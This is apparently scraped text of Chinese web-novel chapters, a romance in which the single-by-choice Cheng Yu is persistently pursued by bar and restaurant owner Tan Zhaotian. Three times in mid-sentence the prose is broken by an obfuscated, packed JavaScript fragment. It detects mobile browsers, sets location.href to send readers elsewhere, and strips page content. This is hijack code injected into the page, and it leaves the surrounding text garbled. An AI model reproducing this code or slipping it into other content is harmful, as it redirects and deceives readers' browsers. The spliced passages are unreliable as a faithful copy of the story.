他想他既然说明白了，谈兆天也点头表示get了，怎么这句“喜欢你”还是冒出来了？ 兄弟？ 哥们儿？ 我请问呢？ 程郁眉峰轻轻挑了挑，看桌对面的男人。 哪知谈兆天立马表态：“好，不说这个。” 是真的非常的识趣。 程郁想再次表明自己的态度，都有点无从下口，显得自己嘴太密。 于是程郁落下眉峰，愿闻其详的神色，问：“你喜欢我什么？脸？” 程郁很直白，也很有自知之明：“我这个人最大的优点，全在脸上了。” 换别人，肯定开始恭维程郁，夸他的内在了。 谈兆天回视程郁，诚恳地来了句：“我确实是因为你长得好看，才会在一开始对你一见钟情，喜欢上你。” 程郁：“……？” 不是？ 怎么说两句又表白了？ 程郁眉峰又挑了起来。 谈兆天见状马上就道：“这个不能说？” 程郁落下眉峰：“你可以说，但是不要表白。” 谈兆天的眼珠细微地动了动，程郁看出他在琢磨他之前说的哪句话是在表白。 程郁提醒他：“比如‘喜欢你’这三个字。” “好，我不说了。” 谈兆天答应，很好说话的样子。 程郁顺着刚才的话题：“看中皮相的话，这个世界上好看的人很多，相信你很快会……”喜欢上别人。 程郁做了个“你明白”的手势，相信谈兆天可以领悟。 程郁跟着表态：“我是单身主义，我不喜欢任何人，无论是谁，无论男女，也不跟人恋爱，更不会结婚。” “我对感情的态度就是两个单词——no way。” 你明白了？ 程郁眼神示意。 谈兆天看着程郁，没说什么。 程郁主动道：“我觉得你这人性格不错，如果你放下你的喜欢，或者去追求别人，只拿我当普通人，我们可以试着交个朋友。” 谈兆天开口了，却说：“不，不交朋友。” 程郁：“……” 程郁发现了，谈兆天是话少，但他的话，每个字都是重点。 程郁第一次遇到他主动示好却被拒绝交友的情况。 他抿了一个公式化的笑，点头：“也行。那今天吃完，以后就不用联系了。” 谈兆天一直看着他，解释：“我对你的情况，没有办法跟你做普通朋友。” “我是想追求你。” 程郁搁在水杯旁的手翻过来一摊，坦然：“我说了啊，我单身主义。” “我不会接受你的追求。” “你也不用追我，做无用功。” 谈兆天说：“试试？” 程郁恳切的：“不用试，我很坚定。” 这时服务员过来上菜，两人暂停了交流和对话，程郁的注意力也到了菜上面。 服务员走了，谈兆天道：“先吃饭。” 程郁同意，拿起筷子，尝了一口，心里“嗯！”一声，认可道：“味道蛮好的。” 程郁这时和谈兆天聊：“你怎么订到位子的，我听说这家超级难约，我朋友订了几次都没订到，说号都约到半个月之后了。” 谈兆天这时候才拿起筷子，看看程郁：“我的店。” 程郁：“……？” 啊！ 程郁恍然：“你的店啊，难怪。” 感慨：“你生意好多，原来是大老板。” 谈兆天夹了一筷子菜放到碗里，筷子放下，手肘搭桌沿，看向程郁，淡定地说了句：“和我在一起的话，这些都是你的。” “咳……” 太突然了，程郁直接呛了一口。 “小心。” 谈兆天抽纸巾递过去。 程郁接过，咳了两声，擦擦嘴，又摆摆手：“谢谢你，不用。” 诚恳的，真心实意的，还有点无语的，说：“你自己的生意，你自己留着。” 程郁继续吃菜，谈兆天才接着道：“我经济情况还不错。” 程郁懂了，谈兆天开始“推销”自己了。 程郁吃着菜，闲聊的态度，抬抬眼：“我或许没有你有钱，不过我也不缺钱。” 这就是推拒。 谈兆天没再动筷子，一直看着程郁：“我之前没有谈过。如果你愿意给个机会……” 程郁拿着筷子做了个打住的手势，再次强调：“我，单身主义。” 谈兆天改口：“那就给个追求你的机会。” 程郁吃着：“可就算你追，我也不会同意啊，那又何必浪费时间。” 谈兆天抓重点：“这么说，我可以追？” 程郁愣了下。 他遇到的那些追求者，哪个不是自顾自地就开始给他送花追求他，谁会问一句能不能追？当然没人问。 因为追求这件事是追求者做的。 所有人都默认这是项自主权益。 谁也不会问被追求的人的意见。 现在，谈兆天问了。 程郁自然看向男人，心里诧异，他反问：“你追我，你要问我？” 程郁一时都有些搞不懂状况了。 他想谈兆天这样的，又有那么多生意，看起来也不笨啊。 谈兆天“嗯”了声，回：“我不想你讨厌我。” 程郁自然摇头：“我不讨厌你。” 你可比别的追求者强多了。 谈兆天下一句：“所以我能追你？” 程郁：“……” 程郁吃着，抬眼，诚心的：“你还是别追了，何必呢，做无用功。” 谈兆天始终看着他：“总要试试。” 这样又聊回来了。 程郁：“我都说了，我单身主义。” 谈兆天：“是有什么顾虑？或者觉得我达不到你的要求。” 程郁摇头，再次强调：“我单身主义，不恋不婚。” 耐着性子：“是我怎样，不是你要如何如何。” “就像我只吃苹果，你问我要不要试试橘子。” 谈兆天：“我可以变成苹果。” 程郁：“……？” 怎么变？ 程郁举例子：“我要是不喜欢男人喜欢女人，你也变？” 谈兆天听了，默了默，很认真地问：“你喜欢女人？” 程郁没被他绕进去：“我不喜欢女人，我不喜欢任何人，你也变不成苹果，你是你。” 谈兆天则聊了回来：“我追追看。” 程郁心里叹了口气。 他知道无论怎么表态怎么拒绝，谈兆天就是想追。 服务员又来了，程郁等服务员上好菜走了，说：“我拒绝。” “我不同意，你不会追，对吧。” 程郁索性从这个角度掐死苗头。 谈兆天：“一点机会都不行？” 是啊。 程郁耸肩。 他想既然谈兆天征询他，他索性否定，以绝后患，一了百了。 谈兆天这下沉默了，拿起筷子，垂眸缓缓吃了两口菜。 程郁见了，都开始有点“内疚”了，他真是第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233802|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇到这样的男人这样的情况。 好像自己欺负了他一样。 明明他是个硬汉。 片刻后，谈兆天重新放下筷子，抬起目光，黑眸注视着：“我还是想再争取一下。” 程郁吃着，看看谈兆天，心里莫名有些动摇了。 到底还是他对谈兆天的第一印象太好了。 动摇了一秒，动摇了两秒，动摇了三秒…… 程郁想到什么，开口：“这样吧，要是下一道菜在半分钟之内上桌，我就同意你追……” 话没说完，隔壁桌的一个男人端着两盘菜就摆到了程郁面前。 程郁：？？？ 男人则看向谈兆天：“老大。” 谈兆天瞥他：滚。 男人马上转身回了自己的桌子，拿起筷子低头吃饭，假装自己刚刚什么都没干。 程郁：“……？？？” 不是，这餐厅里怎么还有NPC啊？！ 谈兆天这时则坐直，示意刚刚端来的两盘菜：“半分钟。” 强调：“你说下一道，这是下一道。” 程郁：“…………” 程郁看男人，不可思议：“这难道不算犯规？” 扭头，看旁边桌上刚刚端菜来的陌生男人，又看向谈兆天：“他又是谁？” “他不重要。” 谈兆天的目光锁着程郁：“你说的，下一道菜，半分钟内，上桌，你就同意我追你。” 程郁：“…………” 还能这样？ 程郁都笑了，无语的笑。 “行。” 程郁是个爽快人，点着头：“行。” 说到当然做到，他从来不赖账。 程郁示意隔壁，再次问谈兆天：“你朋友？” “不是，不认识。” 谈兆天否认。 话音落地，隔壁桌的男人擦着嘴巴麻溜地起身跑了。 程郁：“……？” 程郁看看跑了的那人，收回目光看谈兆天，挑挑眉：你当我傻？ 谈兆天突然笑了，嘴角吊起，是个很酷的笑。 他一笑，程郁也笑了，起先还是无语的笑，笑着笑着，变成了觉得好笑的笑。 “你吃饭还带搭子？” 程郁不解刚刚那个男人到底是谁。 谈兆天解释：“是餐厅这边看场子的小弟，知道我订了餐厅在这边吃饭，估计是想看热闹，就坐旁边了。” “小弟？” 程郁觉得这个叫法有点奇怪。 谈兆天：“嗯。” 程郁：“兄弟？” 谈兆天：“不是，小弟。” 程郁只知道一种小弟，还是港片里看来的，讷讷问：“你hei社会啊？” 谈兆天勾唇：“不是，没有。混社会，不是hei社会。” 程郁心道手下就手下，叫什么小弟。 又想不对，“手下”这叫法不也是黑hei社会的么。 谈兆天这时看着程郁道：“既然你同意，那我就追了。” “嗯，行吧。” 程郁有些无奈，还是头一次打破自己态度的底线。 又想算了，谈兆天不是以前那些人，追就追吧。 追他的人多的是，不多这一个，好歹谈兆天不让他觉得讨厌。 反正怎么追，他该是单身主义还是单身主义。 程郁并不担心。 “这两个菜端走吧。” 程郁示意桌上：“不是我们的。” 谈兆天伸手，把菜端走了，送回了隔壁桌。 暗自的，他唇角禁不住吊了吊。 9. 第 9 章 快吃完的时候，程郁去上了个卫生间，卫生间不在厅里，在厅外，一间单独的白墙灰瓦的小屋。 程郁上完洗好手出来，自己没留神，走错了回厅的方向，不知道走到了哪里，正琢磨怎么回之前的鹿苑，却意外在拐角的一道墙后看见了谈兆天。 男人不是一个人，身边还有另一个男人，正是之前坐程郁他们桌旁边、端两盘子菜过来的“NPC”。 程郁看见那个男人给谈兆天递烟，谈兆天接了，咬进嘴里，抿着，接着便抬腿，给了那男人一脚，男人被踹着往前蹦跶了一两米，没生气，扭过头来嘻嘻笑，谈兆天的长腿迈过去，又给男人几脚，明显不重，男人拍拍屁股，继续嘻嘻笑，然后谈兆天过去，手掌捏了那男人的后颈，不知说了什么，男人乌龟一样缩着脖子，继续嬉皮笑脸。 程郁见了，觉得有趣，莞尔，心想真是大哥训小弟呢。 恰好这时谈兆天似有所感地敏锐转头看了过来。 看见程郁，他马上就松开了捏着小弟后颈的手，还从嘴里把烟拿下，丢回了小弟怀里。 程郁冲他笑了笑，转身走了。 谈兆天看着程郁，迈步跟上，走之前不忘又给了小弟一脚，小弟嗷呜地蹦起来。 而程郁和谈兆天都不知道的是，早在上周末，名叫【狗肉兄弟一辈子】的小弟群里，就有人发了消息，说他们天哥亲自领了人来住江滨路的那家亚朵，虽然也解释了是领别人来住，他们天哥没有一起住，但也强调，他们天哥送来的两个男的里，其中一个醉得不省人事，另一个则帅得惊为天人，怀疑天哥对人家大帅哥有意思。 群里当时就炸了锅，好一通热切讨论。 其中KeepLip的场子的负责人也印证，说去亚朵的两个男的之前就是在他的场子里玩儿的，天哥就是从酒吧把人亲自送去酒店的，不但如此，还给那两人免单了，也说两人里的其中一个帅得不得了。 群里聊得更沸了。 而今天—— 谈兆天踹完人刚走，被踹屁股的男人马上从口袋里掏出手机，登上微信，点进【狗肉兄弟一辈子】，打字： 【！！！】 【！！！】 【我看见了！！我在我这儿看见了！！！】 【咱老大跟个超级大帅哥单独吃饭、二人世界！！！】 【老大一直说要追那个男的，那个男的怎么都不同意！！！】 【后来那个大帅哥好像有点心软了，说下一道菜在半分钟之内上桌他就同意我们老大追他！！！】 【你们猜怎么着！！！】 【哈哈，我就在旁边，我把我桌上没动过的菜端过去了，吓了他们一大跳！！！】 【？？？】 【！】 【然后呢！？】 【卧槽！？你怎么不开个现场直播或者录下来啊！】 群里马上炸出了一群人。 男人继续：【我后来跑了，不知道那个大帅哥有没有同意天哥追他。】 【但天哥刚刚出来踹我屁股了，踹得那叫个轻柔，所以我猜，大帅哥应该是同意天哥追他了！】 【卧槽！？？？】 【卧槽？？？？】 【真的假的？咱天哥想吃天鹅肉了？】 【今年春天，天哥终于发情了？】 【滚蛋，那叫春心萌动，会不会用词，文盲。】 …… 群里又炸了。 这边，吃完的程郁和谈兆天简单在餐厅的园子里逛了逛。 其实没什么东西，就是一些江南风格的布景，看看就过了。 于是不久，两人从餐厅出来，到门口的停车场。 程郁上车前，扶着打开的车门，对谈兆天道：“你家餐厅果然好吃，味道不错。” 如果今天谈兆天没坚持要追求，两人交成朋友，程郁肯定会加一句：“回头还来，找你约位子。” 可惜…… 所以程郁下一句是：“走了，拜拜。” 程郁进车，谈兆天站在车前不远，目送。 宝马从停车位缓缓开出来，右拐，开走了。 程郁开着车，左后视镜看了看身后目送他的男人，心里轻轻一叹，觉得可惜，本来可以交个朋友的。 算了。 程郁心道。 他虽然同意了谈兆天追他，但他比任何人心里都清楚，他和谈兆天不会有“以后”。 谈兆天或许觉得有希望，程郁清楚，这个男人之后的任何追求上的行动，不过都是无用功。 程郁：谈兆天现在不知道，以后就清楚了。 程郁不担心自己，他纯粹觉得谈兆天是不撞南墙不回头。 等着吧。 当晚，程郁人在公寓的跑步机上跑步，张君宁拨来语音电话，程郁接了，开了公放，继续跑自己的，张君宁在手机那头咋呼道：“我又来‘KeepLip’了，你猜怎么着，我，又，免单。免单！” “我问Kevin了，那家伙就是不告诉我，还跟我打听你。” “我琢磨难道是因为你才免单的吗。” “之前我来，最多给我打折，好像确实是上周你跟我来了，就免单了。” “不会真是因为你吧？” 程郁没停，继续跑着，稳住气息，说：“跟你商量个事。” “怎么了？” 张君宁听出程郁话音里的喘息，说：“你在干嘛？跑步啊？” “嗯，跑步。” 程郁直接说了：“那家酒吧的老板，在追我，所以可能真是因为我，才免单的。” “你最近别去了，去别的酒吧，我给你报销。” 张君宁没觉得不让他去KeepLip有任何不妥，抓住重点：“卧槽，这么劲爆吗？” 又说：“Kevin果然不是老板啊，我就琢磨，这年头也没哪个老板这么豁得出去亲自下海的。” 马上又道：“谁啊？我在酒吧见过那？” “怎么就追你了？你们在哪儿认识的啊。” “你和我讲讲呢。” 程郁没什么不能和张君宁说的，于是便简单提了那天沙龙被硬汉男表白的事，又提了上周在理工院和酒吧卫生间的偶遇，以及晚上男人帮忙，送他们去酒店。 说完，程郁道：“那个老板准备追我了，你别去了，我不想回头还欠人情，到时候牵扯不清、麻烦。” 张君宁马上笑道：“天哦，我当我够骚，所以Kevin给我又打折又免单，原来是因为你和他老板。” “哈哈哈哈，有意思。” 又八卦：“Kevin他老板什么样啊？能开大G，不矮的吧。帅吗？” 又说：“大吗？你之前在卫生间看到了吗。” 程郁：“……” 程郁按跑步机按键，降了速度，开始匀速走。 他边走边道：“挺高的，说是有一九一，我看着和大G一样高。” “挺帅的，硬汉风，头发特别短，皮肤偏深一些。” 张君宁感慨：“啊，男人，可惜了，喜欢你这个单身主义，他注定要芳心错许了。” 程郁再次道：“最近别去了，好吗。” 张君宁应声：“知道啦，我去别的酒吧，不给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233803|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你拖后腿。” 又说：“喜欢你的男人真可怜啊，一面被你的脸迷惑，一面又要面对你的无情。啧啧。” “都开大G了，还要被你冷一脸，吃上求而不得的苦。” “唉，他们怎么不来喜欢我啊，我多好啊，又恋爱又同意上床，多爽。” 新的工作周，这周，程郁要忙一些，因为公司有好几个重点项目都到了推重要进度的时候。 周一，程郁提早20分钟就到了公司。 刷卡进公司大门，前台小姑娘就道：“程总，一早刚开门就有花店给你送花了。” “好，知道了。” 程郁端着咖啡经过前台，淡定地点了点头。 到部门，走近工位，见自己工位上摆了一大束花，程郁边脱外套边伸手拿起花束上的卡片，见卡片落款果然是谈兆天，程郁把卡塞回去，对一旁的小念道：“帮我扔掉。” “哦哦。” 小念正在喝咖啡，赶忙放下杯子起身。 她来抱花，一大束，可能是觉得扔了可惜，说：“程总，不然我放去前台？” 程郁坐下，头都没抬：“扔掉，扔公司门外的那个大垃圾桶。” “哦哦，好，我马上去。” 小念乖乖地抱着花转身。 不久，漂亮的花束被扔进了公司外角落里的大塑料垃圾桶。 小念回来了，坐下，继续喝她的咖啡。 正对着电脑认真批复OA的程郁再次开口道：“小念。” “啊？” 小念放下咖啡杯，起身过去：“怎么了？” 小念以为有什么工作上的吩咐。 却见程郁边对着电脑审OA边淡定道：“今天开始，下午如果有打着我的名义送过来的下午茶，无论是什么，通通拒收。” “哦，好。” 小念应声。 程郁：“去忙吧。” 果然，当天下午，有骑手送来下午茶，餐点收件人的名字是程郁，但备注写着请所有办公室同事。 东西多，来了三个穿着蓝色衣服的骑手，手里全是纸袋。 骑手一到就问谁是程郁，程郁不在，跟陆泽深出去了，小念起身，去和骑手对了下订单标签，见订单标签上的购买人那栏的名字是谈，知道这些都不是程郁买的，便说不收，让小哥送回去，小哥只得打购买人的电话，说收的人不在，这边办公室也不要，让送回去，电话那头不知说了什么，三个骑手小哥又拎着袋子走了。 小哥们一走，办公室内马上聊起来： 【这又是咱程总的哪个追求者吧？】 【肯定啊。这要程总买的，或者陆总请的，小念怎么可能拒收。】 【程总真牛啊，追求的人韭菜一样，一茬又一茬。】 【啊……真让人嫉妒啊。】 【不过程总好像都没看上谁吧？眼光太高了吗？】 【程总单身主义的啊，他微信的个性签名不都写了么。】 【真单身主义啊？他那个个性签名我都没当回事。】 …… 这边，程郁正跟着陆泽深在某公司，听公司负责人给他们讲项目，程郁的手机反扣在桌上。 手机微信上，谈兆天早上给程郁发了早，程郁没有回，中午给程郁发“吃了吗？”，程郁也没有回。 不久前，谈兆天发来：【今天很忙？】 程郁没有看到。 等20分钟之后看到了，程郁低头瞥了一眼，直接把消息页面划掉了，切去备忘录，记录了一个自己需要特别注意的事件和时间，记录完，程郁把手机塞回西服口袋。 10. 第 10 章 当晚，程郁陪陆泽深与一个他们的意向项目的老总吃饭。 饭桌上，老总那方的人一直劝酒，陆泽深能喝，但不爱这么喝，尤其讨厌这种氛围，程郁便自觉顶上，陪对方喝。 有程郁在，两方聊天的气氛尚可，陆泽深也耐着性子一直留在桌边，没有翻脸走人，让程郁为难。 这顿饭快结束的时候，程郁反扣在桌上的手机嗡嗡震，程郁拿起来看了一眼，是谈兆天拨来的语音电话，程郁直接挂了。 好的是，谈兆天没有接着再打。 不好的是，谈兆天发来消息：【在忙？】 程郁看到了，依旧没有回。 没空回，也不会回。 结束后，程郁安排好陆泽深的车，让司机把陆泽深送回家，自己则打车回公寓。 他今天喝了白的，喝得有点多，头晕，一身的酒气。 滴滴司机边开车边跟他聊：“喝了多少啊？味儿这么大。” 程郁没力气也没心情聊天，闭着眼睛靠在后排。 滴滴司机自顾自地说话，程郁也没细听。 后来程郁休息了会儿，有些力气了，睁开眼睛，听见司机在前面说：“我那时候上班的时候，也喝酒，天天陪客户喝。” “那时候喝得多有劲儿啊，刚结婚，有个漂亮老婆，老婆还给我生了个大胖小子。” “喝多少我都乐意。” “喝大了回去就有暖和被窝，有老婆帮我脱鞋擦脸，有孩子软乎乎地喊我爸爸。”…… 车晃着，程郁胸口闷，有些难受，默默挺了挺背和肩膀。 他当然没有这些。 现在不会有，未来也不会有。 羡慕吗？ 没必要。 程郁有单身人士自己的快乐。 他从不拿别人的幸福和自己做比较。 何况程郁不觉得现在的自己不幸福。 他的潇洒自由和快乐，也是其他很多人比不了的。 程郁的手机这时响起提示音。 他拿起来，看了眼，是谈兆天。 谈兆天发来：【下班了吗？】 程郁扫了眼就放下了手机，当然不回。 等回了公寓，程郁觉得脑子涨，囫囵地洗了个澡，就把自己塞进了床上，关灯睡了。 公寓内安安静静，什么声音都没有。 次日早，程郁被闹钟叫醒，又起来洗了个澡，前一天里外的所有衣服全部换，穿戴好，又是分外精神抖搂的面貌，完全看不出前一天有醉过酒。 但出门前，他没给自己泡咖啡，而是带了份牛奶，到公司之前就喝完了。 “早，程总。” 进电梯，有人和他打招呼。 “早。” 他笑笑。 这个早晨和往日没什么不同。 等到了楼层，从电梯出来，程郁恰好碰见小念抱着一束花从公司出来。 “师父父。” 小念示意手里的花，走向角落的蓝色大垃圾桶。 “嗯，扔吧。” 程郁推门进公司。 当天，程郁依旧不在工位，陪陆总出去了。 中午，有人过来送餐，依旧是送给程郁的，程郁不在，小念也不在，送餐的人把纸袋摆在了程郁工位的桌上。 小念吃完午饭回来，看见程郁桌上有纸袋，走过去，看了看，看到订单上的购买人是“谈”，心知这又是追求者送的，提起来，要帮程郁扔掉。 办公室里有人看见，“诶诶”道：“不要？给我啊，刚好我没吃。” 小念心知该怎么做，还是拎着纸袋，丢去了垃圾桶，又对那位同事道：“走，我请你。” 同事没真的要小念请，就嘀咕：“反正都要扔，干嘛不给我啊。” 小念耸肩，没说什么。 心里想：他师父父最不喜欢这样。别回头让追求者以为是程郁吃的，觉得程郁喜欢，再送来更多。 招麻烦，也说不清。 程郁对自己追求者的态度，一向就是如此。 下午，又有下午茶送来，小念依旧拒收。 办公室里这次有同事惋惜：【天哦，今天可是XX家的日式下午茶，这家超贵的。】 小念心想贵又怎样，他师父父一概不稀罕。 程郁这边，正跟陆泽深与某金融公司的老总谈合作。 一个下午，谈得并不顺利，陆泽深倒是有耐心，神情寻常，对方老总的脸色有些挂不住。 可能是对方老总有些话想单独对陆泽深说，老总的男秘书向程郁示意，程郁点头，两人起身，一起离开。 出去后，老总秘书说去帮程郁拿杯咖啡，转身走了，程郁站在门外走廊，心里暗暗琢磨着这次的合作，又抬手，看了看时间。 正思考，手机响了声。 拿起来，是谈兆天：【有没有时间，想和你约个饭。】 程郁放下手机，塞回口袋，两手交叠身前，继续暗自思考。 不久，老总秘书端着两杯咖啡过来，一杯递给程郁，一杯自己拿着，“谢谢”，程郁接过。 “我们加个微信吧？” 老总秘书主动道：“有什么事方便联系，顺便交个朋友。” “好。” 程郁拿出手机，同样落落大方。 加上微信，两人在门口喝着咖啡，边喝便聊：“你哪个学校毕业的？” “S大。我学的金融，辅修了管理学，双学位。” 程郁回。 “巧了。” 老总秘书笑：“我是你们学校对面那家师范的。” “你几几级的？” …… 聊得不错，程郁就和老总秘书约了顿饭。 也没挑其他时间，就当晚，在CBD附近的那家商场，吃的自助，程郁请的。 两人聊得不错，老总秘书还和程郁聊了不少老总的私事和八卦。 吃到中途，程郁手机响了，谈兆天的语音电话，程郁扫了眼，挂了。 老总秘书下意识看过来，见程郁挂了，笑笑：“男朋友还是女朋友？” “没有。” 程郁根本不当回事，说：“骚扰电话。” 老总秘书边吃边好奇：“你这么帅，不会是单身吧？” 程郁喝着可乐：“我何止单身，我还是单身主义。” “真的啊？！” 老总秘书一下惊喜，筷子都放下了，伸出手：“我也是！真的！” “我不恋爱，也不结婚，你也是吗？” “真的啊？” 程郁也意外，伸手和对方握了握：“你什么时候决定单身的？” 老总秘书：“最近两年。你呢。” 程郁聊着：“我大学就决定了。” “这么早？” 老总秘书好奇：“那你恋爱过吗？” 程郁：“没有。” 老总秘书惊讶：“没恋爱过你就单身主义了啊？” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233804|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己：“我是谈过，谈过好几个，觉得恋爱结婚什么的也不过如此，才决定单身的。” “你好勇啊，没尝试过恋爱就直接单身主义，不会觉得遗憾吗？” …… 程郁的手机上，谈兆天发来消息：【周六来KeepLip喝酒？】 这一周，程郁都很忙，在办公室的时间有限，几乎都陪陆泽深在外面，周五晚还加了几个小时班，忙到晚上十一点多，处理OA上堆积的需要批复审核的文件。 这一周，所有送来公司的花，不管谁的，不管是不是谈兆天送的，全部被小念扔了。 送来办公室的吃的，除了周二中午留在工位的饭，其他一概都退了。 所有谈兆天的消息和电话，程郁也通通没有回复没有接。 对这些，程郁应付得自然又得心应手，也习惯了。 这些年，被追求，无非就是这些路数。 程郁不会接受，也不会回应，态度明确。 但程郁到底对谈兆天的印象分太好，外加谈兆天送东西归送东西，发消息归发消息，他既没有来公司蹲人，也没有连环call，更没有骚扰到他公寓，做派实在让人讨厌不起来，程郁可能是“心软”？周日早上，程郁醒来后，给谈兆天发了条消息：【还追吗？】 现在放弃的话，交个朋友可能还有希望。 谈兆天隔了十分钟回：【追。】 程郁看着这个“追”字，哼笑着摇了摇头，觉得谈兆天真是不到黄河不死心，然后—— 然后，程郁直接把谈兆天的微信号删除了。 够果断，也够绝。 但没办法，这就是程郁对自己追求者的态度。 他希望谈兆天可以切实地了解这个态度。 【为什么删了？我说错话了？】 很快，谈兆天的验证消息发过来。 程郁看见了，自然不理，更不会再把好友加上。 他放下手机，去收拾东西，准备等会儿和朋友去约好的球馆打羽毛球。 程郁上车的时候，手机收到陌生号码的短信，写着：【我是谈兆天，这是我的号码。】 程郁没理，开车上路。 下午打完羽毛球，程郁和朋友去商场吃饭，吃完饭，两人又一起去看电影。 看完电影出来，程郁捧着手机回了几条工作和朋友的微信消息，也留神到手机上有一条陌生来电。 可能是谈兆天的。 程郁没细看，也没管。 当晚，陌生号码发来短信：【晚安。】 程郁次日早看到，见晚安上面就是“我是谈兆天，这是我的号码”，确认这就是谈兆天的号码，没犹豫，直接连号码带消息拖进了黑名单。 这一周，程郁不像上周那么忙了，但也有两天不在公司。 这周，花继续扔，送的下午茶等吃的依旧拒绝，陌生号码的电话一概不接，短信除了验证码这种，其他一概不看。 【狗肉兄弟一辈子】的小弟群： 【话说，老大这两天的气压有点低啊。】 【有吗？】 【没有吗？你是没见到他吧？】 【两周了，他和那个大帅哥进展得怎么样啊？】 【不知道啊。】 【有谁知道的？出来哔两句。】 【我今天见到天哥了，我觉得可能不太好。】 【怎么说？】 【天哥踹了我一脚，那一脚力气大得，我差点去见我太姥。】 11. 第 11 章 周日，程郁原本准备把谈兆天的号码从黑名单里拉出来，再问他，还追不追。 但等把号码拉出来，手一顿，程郁最终没有发。 一是觉得这样跟挑衅嘚瑟似的，二是想他还是对谈兆天印象太好了，总想交这个朋友。 但他真的能和自己的追求者做成纯粹的朋友吗？ 程郁想了想，心道算了，不用强求，于是消息最终没发。 新一周，程郁有点忙，也依旧是扔花、拒收吃的、不接陌生号码一条龙。 程郁也开始把谈兆天这个人抛去脑后。 但周末，知道了一件事，程郁不得不主动联系谈兆天。 事情是这样的： 程郁有个把月没去理工院了，没想戎巍，但想戎巍他们学校二食堂的一家麻辣烫。 于是周六休息，程郁开车去了理工院。 到理工院，程郁当然不会又那么巧的偶遇大G和开大G的谈兆天。 程郁这时候完全没想起谈兆天这个人，满脑子都是二食堂的那家麻辣烫。 结果到了理工院，见到戎巍，这小子边走边欢天喜地地告诉他，说：“哥，你知道吗，我现在在我们学校吃饭，都不用刷卡，刷脸就行。” 程郁：“食堂设备这么先进？” “不是。” 戎巍嘚瑟道：“我吃饭，不用钱，真的。” 程郁一听，敏锐的，马上就预感不妙。 他问：“为什么？” 戎巍一脸天真：“我不知道啊，就有天开始，我去吃饭，无论哪个食堂哪个窗口，都不刷我的卡，我随便点随便吃。” 笑，嘚瑟：“而且我带同学朋友去吃，无论吃多少，也一样不收钱。” “怎么样，我厉害吧？” 又说：“走，我今天让你见识一下。” 程郁看看戎巍，已经有了某个猜测。 等到了二食堂，那家麻辣烫窗口，果然，程郁看见戎巍自来熟地和窗口里面的阿姨打招呼，打完招呼，阿姨把点菜的小篮子递给戎巍，招呼他：“随便点。” 戎巍嘚瑟，看看程郁，挑挑眉，又看向窗口阿姨，说：“不刷我卡的，是吧？” 阿姨摆摆手：“不刷不刷。你点，随便点。” “看吧。” 戎巍更嘚瑟了。 程郁的神色彻底落下。 他已经猜到是为什么了，顿时有点无语。 他提前招呼了张君宁那边，没料到理工院还有戎巍这个漏网之鱼。 程郁不吃了，拿过戎巍手里的篮子就放下了，跟着把戎巍拉走。 “诶诶？哥？怎么了？不吃了？” 戎巍一脸不解，还有种懵懂天真的蠢萌。 程郁都快无语死了，但又怪不了什么都不知道的戎巍。 他把戎巍拉走，走出二食堂，站定，问戎巍：“我问你，你好好想想，再回答我。” “怎么了啊？” 戎巍不明所以地眨眨眼。 程郁：“什么时候开始，你吃饭不用花钱的？” 戎巍根本不用想：“就上次你来学校，把手机带给我那次，那之后，就……” “好了，我知道了。” 程郁确定了，是谈兆天。 程郁拿起手机，就给戎巍转了两千块：“你最近不要在食堂吃，去学校外面吃。” 戎巍又眨巴眼睛：“为什么啊？我在学校吃不用付……” “你听我的吗？” 程郁抬眼看男生，神情中自带兄长的威严。 “哦哦，好吧。” 戎巍从小就听程郁的，摸出手机，收钱：“行吧，我出去吃。” “可是为什么啊？” 戎巍自然想知道原因。 “上好你的学。” 程郁没多解释，转身走了。 戎巍懵了：“喂？哥？你去哪儿？不吃饭了？” 程郁脚步不停，扭头：“你自己去外面吃吧，我有点事，先走了。” 程郁就这么走了，还没走到停车场，他拿起手机，通话记录里翻了翻，找到之前从黑名单里拉出来的谈兆天的电话，拨了过去。 嘟——嘟—— 五声后，电话被接通，一接通，程郁便率先开口，非常果断道：“你在哪儿？我们见一面。” 手机那头传来谈兆天低沉的声音，报了一个地址，没有多说其他的，是男人的风格。 “好，我现在过来。” 程郁说完就挂了电话。 不久后，宝马开出理工院，速度很快。 程郁到的时候，才发现是个工地。 工地门口有电子门栏，程郁开过去，按喇叭。 保安亭出来一个保安，弯腰看进主驾，主驾的车窗落下。 “你找谁？走错了吧？” 保安道：“我们这儿是工地。” “我找谈兆天。” 程郁示意稍等，拿起手机，准备给谈兆天打电话。 保安马上“哦哦”两声，说了句“我知道了”，就按了手里遥控器的按钮，打开了电子门栏。 程郁于是挂了打给谈兆天的电话，把车开进去。 